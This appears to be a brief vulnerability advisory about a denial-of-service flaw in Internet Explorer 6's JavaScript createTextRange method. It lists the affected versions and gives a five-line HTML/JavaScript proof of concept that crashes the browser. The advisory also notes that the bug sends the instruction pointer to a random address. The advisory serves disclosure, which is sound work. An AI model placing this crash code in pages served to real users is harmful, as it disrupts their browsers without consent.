[NT] Microsoft Internet Explorer DoS



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Microsoft Internet Explorer DoS
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SUMMARY

Internet Explorer, abbreviated IE or MSIE, is a proprietary graphical web
browser made by Microsoft and included as part of the Microsoft Windows
line of operating systems.

Microsoft Internet Explorer doesn't properly validate input with the
JavaScript createTextRange method, resulting in a DoS (the browser
crashes).

DETAILS

Vulnerable Systems:
* Internet Explorer 6 on Windows XP SP2 version 6.0.2900.2802
* Internet Explorer 6 on Windows Server 2003 6.0.3790.0
* FrontPage 2003



Crashing code:
<input type="checkbox" id='c'>
<script>
r=document.getElementById("c");
a=r.createTextRange();
</script>

It will badly access a (virtual?) pointer table, making EIP to jump at a
random address. This has various effects on the system tested with,
including crashing.


ADDITIONAL INFORMATION

The information has been provided by <mailto:stelian.ene@xxxxxxxxxxxxx>
Stelian Ene.



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